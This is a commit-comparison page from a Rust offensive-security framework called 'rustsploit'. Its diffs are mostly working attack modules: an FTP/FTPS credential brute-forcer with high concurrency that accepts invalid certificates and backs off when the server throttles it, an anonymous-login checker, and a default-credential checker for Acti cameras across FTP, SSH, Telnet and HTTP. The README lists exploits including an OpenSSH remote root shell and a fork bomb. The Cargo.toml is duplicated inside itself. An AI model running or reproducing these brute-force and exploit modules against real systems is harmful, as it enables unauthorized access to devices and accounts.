Compare commits

...

62 Commits

Author SHA1 Message Date
S.B f2bd0ae5a1 Merge pull request #10 from s-b-repo/dev
Dev
2025-05-04 18:03:42 +02:00
S.B 494d6d265d Update Cargo.toml 2025-05-04 17:32:22 +02:00
S.B bb28d1bf30 Update mod.rs 2025-05-04 17:09:45 +02:00
S.B 5a72376a3f Add files via upload 2025-05-04 17:09:03 +02:00
S.B 5cbbbe2343 Update README.md 2025-05-04 17:07:10 +02:00
S.B 96b11ddf0c Update mod.rs 2025-05-04 16:50:00 +02:00
S.B 061176904c Delete src/modules/exploits/camera directory 2025-05-04 16:49:41 +02:00
S.B de9732f7de Add files via upload 2025-05-04 16:49:06 +02:00
S.B bfc094784a Add files via upload 2025-05-04 16:48:33 +02:00
S.B c8eca30789 Add files via upload 2025-05-04 16:48:09 +02:00
S.B eda2802f9b Update README.md 2025-05-04 16:26:59 +02:00
S.B 83161d7f70 Update Cargo.toml 2025-05-04 16:00:35 +02:00
S.B 45a3d49c2f Update cve_2024_7029_avtech_camera.rs 2025-05-04 15:58:57 +02:00
S.B 0b9e470e3d Update mod.rs 2025-05-04 15:44:48 +02:00
S.B bb9ce994b5 Add files via upload 2025-05-04 15:43:50 +02:00
S.B bbbaa69761 Delete src/modules/exploits/payloadgens/gpgenbat.rs 2025-05-04 15:43:13 +02:00
S.B 4625f7d31e Update mod.rs 2025-04-28 07:16:25 +02:00
S.B 900d73ea0b Add files via upload 2025-04-28 07:15:57 +02:00
S.B d1d12cb165 Update mod.rs 2025-04-28 06:47:00 +02:00
S.B 4112a71af2 Add files via upload 2025-04-28 06:46:25 +02:00
S.B 6a3eb5ce44 Update README.md 2025-04-26 01:08:03 +02:00
S.B aa21d50cb9 Merge pull request #8 from s-b-repo/ipv6-patch
Ipv6 patch
2025-04-26 00:37:21 +02:00
S.B 8250c927a4 Update mod.rs 2025-04-26 00:37:04 +02:00
S.B 626aa3f084 Update acti_camera_default.rs 2025-04-26 00:35:15 +02:00
S.B 88427e4bc8 Update extra.txt 2025-04-26 00:33:28 +02:00
S.B 38575855d5 Update Cargo.toml 2025-04-26 00:32:48 +02:00
S.B 5130128663 Update mod.rs 2025-04-26 00:30:26 +02:00
S.B 8aff83df06 Add files via upload 2025-04-26 00:29:58 +02:00
S.B f5f09f3309 Update ftp_bruteforce.rs 2025-04-26 00:29:28 +02:00
S.B e5a70c2def Update acti_camera_default.rs 2025-04-25 23:30:02 +02:00
S.B 2a29276bda Update opensshserver_9_8p1race_condition.rs 2025-04-25 23:25:02 +02:00
S.B d25b58acbf Update port_scanner.rs 2025-04-25 21:39:30 +02:00
S.B 7667872198 Update ssdp_msearch.rs 2025-04-25 21:39:13 +02:00
S.B e85a99ce0e Update tplink_wr740n_dos.rs 2025-04-25 21:29:31 +02:00
S.B d48c946a4b Update tp_link_vn020_dos.rs 2025-04-25 21:23:52 +02:00
S.B 13c23523cc Update batgen.rs 2025-04-25 21:15:05 +02:00
S.B d64ccf34e5 Update mod.rs 2025-04-25 21:13:26 +02:00
S.B 681751e59a Add files via upload 2025-04-25 21:12:42 +02:00
S.B 08e1b55da5 Update mod.rs 2025-04-25 16:23:22 +02:00
S.B 638559356f Create batgen.rs 2025-04-25 16:22:52 +02:00
S.B 6a9b5354b4 Update payloadgenbat.rs 2025-04-25 15:46:44 +02:00
S.B 3b16120d5b Update heartbleed.rs 2025-04-25 15:38:30 +02:00
S.B ee5d3e11c2 Update uniview_nvr_pwd_disclosure.rs 2025-04-25 15:31:14 +02:00
S.B 6f61853c5f Update abussecurity_camera_cve202326609variant2.rs 2025-04-25 15:25:10 +02:00
S.B e04e09eb64 Update abussecurity_camera_cve202326609variant1.rs 2025-04-25 15:18:05 +02:00
S.B 01b3e5e8d2 Update rdp_bruteforce.rs 2025-04-25 15:00:57 +02:00
S.B d531723c4d Update rtsp_bruteforce_advanced.rs 2025-04-25 14:58:08 +02:00
S.B b2ee6300b2 Update ssh_bruteforce.rs 2025-04-25 14:45:13 +02:00
S.B 518c3b2c75 Update telnet_bruteforce.rs 2025-04-25 12:44:56 +02:00
S.B ec963c0a0f Update README.md 2025-04-25 12:13:55 +02:00
S.B faebb28a55 Update ssh_bruteforce.rs 2025-04-25 12:13:03 +02:00
S.B ad2e959fdb Update rtsp_bruteforce_advanced.rs 2025-04-25 11:52:53 +02:00
S.B a71ff971d2 Update mod.rs 2025-04-25 11:27:58 +02:00
S.B b5d7e1314b Add files via upload 2025-04-25 11:27:32 +02:00
S.B c8c5730044 Update README.md 2025-04-25 11:25:19 +02:00
S.B 4be9fffd36 Update README.md 2025-04-24 21:53:19 +02:00
S.B 8be8d814b2 Update README.md 2025-04-24 21:39:03 +02:00
S.B 6e4c2a142e Update ftp_anonymous.rs 2025-04-24 21:37:52 +02:00
S.B 4aeb23a340 Update Cargo.toml 2025-04-24 21:23:14 +02:00
S.B af53756b78 Update ftp_bruteforce.rs 2025-04-24 21:22:22 +02:00
S.B 8e182b2530 Update utils.rs 2025-04-24 21:20:52 +02:00
S.B ffabcfa277 Update mod.rs 2025-04-24 21:20:30 +02:00
39 changed files with 2536 additions and 921 deletions
+81 -4
View File
@@ -4,6 +4,15 @@ version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
[package]
name = "rustsploit"
version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
@@ -15,7 +24,7 @@ rand = "0.9.0"
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
@@ -25,8 +34,12 @@ colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
@@ -52,10 +65,74 @@ quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
+22 -4
View File
@@ -14,6 +14,15 @@ Convert exploits and add modules
# completed
```
added acm_5611_rce
added zabbix_7_0_0_sql_injection
added cve_2024_7029_avtech_camera
added pachev_ftp_path_traversal_1_0
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
@@ -45,9 +54,18 @@ dynamic modules listing and colored listing
```
---
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11
for rdp bruteforce modudle
```
```
### 📦 Clone the Repository
```
@@ -134,12 +152,12 @@ Modules are automatically detected using `build.rs` and registered as:
- Full: `scanners/port_scanner`
Each module must define:
```rust
```
pub async fn run(target: &str) -> Result<()>
```
Optional:
```rust
```
pub async fn run_interactive(target: &str) -> Result<()>
```
@@ -173,6 +191,6 @@ Includes:
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
```
---
+47 -1
View File
@@ -1,3 +1,21 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
@@ -24,4 +42,32 @@ Refactor this code to a Rust module so that it fully integrates into my RouterS
Here is the original module that needs to be refactored:
.
Would you like a Dynamic/Auto-Scaler version too? 🚀
(Example: start at 500 concurrency, grow to 5000 if CPU/RAM is good.)
Want me to show it too? 🔥
You said:
yes Dynamic/Auto-Scaler show function to add
+25 -29
View File
@@ -5,11 +5,12 @@ pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// Handle CLI arguments like:
/// --command scanner --module scanners/port_scanner --target 192.168.1.1
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = cli_args.target.clone().unwrap_or_default();
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
match command {
@@ -33,15 +34,11 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
Ok(())
}
/// Handle `run` in the interactive shell after `use <module>`
/// Supports both full paths like "scanners/port_scanner" and short names like "port_scanner"
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
// Exact match (e.g. "scanners/port_scanner")
let full_match = available.iter().find(|m| m == &module_path);
// Short match (e.g. "port_scanner" from "scanners/port_scanner")
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
@@ -54,47 +51,46 @@ pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for module in available {
println!(" {}", module);
for m in available {
println!(" {}", m);
}
return Ok(());
};
let target = normalize_target(raw_target)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, target).await?,
"scanners" => scanner::run_scan(module_name, target).await?,
"creds" => creds::run_cred_check(module_name, target).await?,
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Walks src/modules/{exploits,scanners,creds} recursively and returns all `.rs` modules (excluding mod.rs)
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in categories {
let base_path = format!("src/modules/{}", category);
let walker = WalkDir::new(&base_path).max_depth(6);
for entry in walker.into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
if path.is_file()
&& path.extension().map_or(false, |e| e == "rs")
&& path.file_name().map_or(true, |n| n != "mod.rs")
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(relative) = path.strip_prefix("src/modules") {
let module_path = relative
.with_extension("") // remove .rs
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/"); // Windows compatibility
.replace("\\", "/");
modules.push(module_path);
}
}
@@ -6,6 +6,8 @@ use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
@@ -25,6 +27,16 @@ pub struct Config {
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
@@ -34,7 +46,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
@@ -53,7 +65,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking in our run function)
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
@@ -62,7 +74,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
@@ -81,7 +93,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
Ok(())
}
/// Telnet check (blocking, so we use spawn_blocking in our run function)
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
@@ -90,7 +102,15 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Trying Telnet: {}:{}", username, password);
}
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
@@ -122,7 +142,7 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target, config.port);
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
@@ -179,21 +199,17 @@ pub async fn run(target: &str) -> Result<()> {
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
// Start all checks in parallel
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
// run blocking ssh check in separate thread
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
// run blocking telnet check in separate thread
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Evaluate results
ftp_res?;
ssh_res?;
telnet_res?;
@@ -0,0 +1,41 @@
use anyhow::{Result, anyhow};
use std::process::Command;
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
raise_ulimit().await
}
/// Raise ulimit to 65535
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
} else {
println!("[-] Warning: Could not verify new ulimit.");
}
Ok(())
}
+76 -52
View File
@@ -1,63 +1,87 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", address);
println!("[*] Connecting to FTP service on {}...", addr);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
// 2️⃣ Fallback to FTPS
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
+197 -101
View File
@@ -1,15 +1,59 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
AsyncNativeTlsConnector,
};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
path::PathBuf,
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
use tokio::{sync::Mutex, time::{sleep, Duration}};
use std::path::Path;
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_usage = system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / system.cpus().len() as f32;
let ram_used = system.used_memory() as f32 / system.total_memory() as f32;
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency {
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
@@ -17,21 +61,17 @@ pub async fn run(target: &str) -> Result<()> {
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
let input = prompt_default("Max concurrent tasks", "500")?; // default 500 (higher)
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
@@ -42,49 +82,60 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let addr = format!("{}:{}", target, port);
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let passes = load_lines(&passwords_file)?;
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut tasks = FuturesUnordered::new();
if combo_mode {
// Every user × every pass
for user in &users {
for pass in &passes {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
}));
}
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
} else {
// Line-by-line (user1 with pass1, user2 with pass2, etc.)
for (i, pass) in passes.iter().enumerate() {
let user = users.get(i % users.len()).unwrap_or(&users[0]).clone();
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
@@ -100,26 +151,19 @@ pub async fn run(target: &str) -> Result<()> {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}));
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
// 💥 Here is the correct task runner with dynamic throttling!
let mut running = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(running, concurrency).await;
res?;
running += 1;
}
// After all tasks are finished, print/save results
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
@@ -128,57 +172,118 @@ pub async fn run(target: &str) -> Result<()> {
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
let file_path = get_filename_in_current_dir(&path);
let mut file = File::create(&file_path)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
println!("[+] Results saved to '{}'", file_path.display());
}
}
Ok(())
}
/// Try FTP login and only fallback to FTPS if "SSL/TLS required" is detected
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") {
// fall through
} else if msg.contains("421") {
// 421 Too many connections
println!("[-] 421 Too many connections, sleeping 2 seconds...");
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
return Err(anyhow!("FTP error: {}", msg));
}
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
Err(e) => {
let msg = e.to_string();
if msg.contains("550 SSL/TLS required") {
// fall through
} else if msg.contains("421") {
println!("[-] 421 Too many connections, sleeping 2 seconds...");
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("TLS upgrade failed: {}", e))?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false) // Bad login
} else {
Err(anyhow!("FTPS error: {}", msg))
}
}
}
}
// === Helpers ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -193,18 +298,15 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
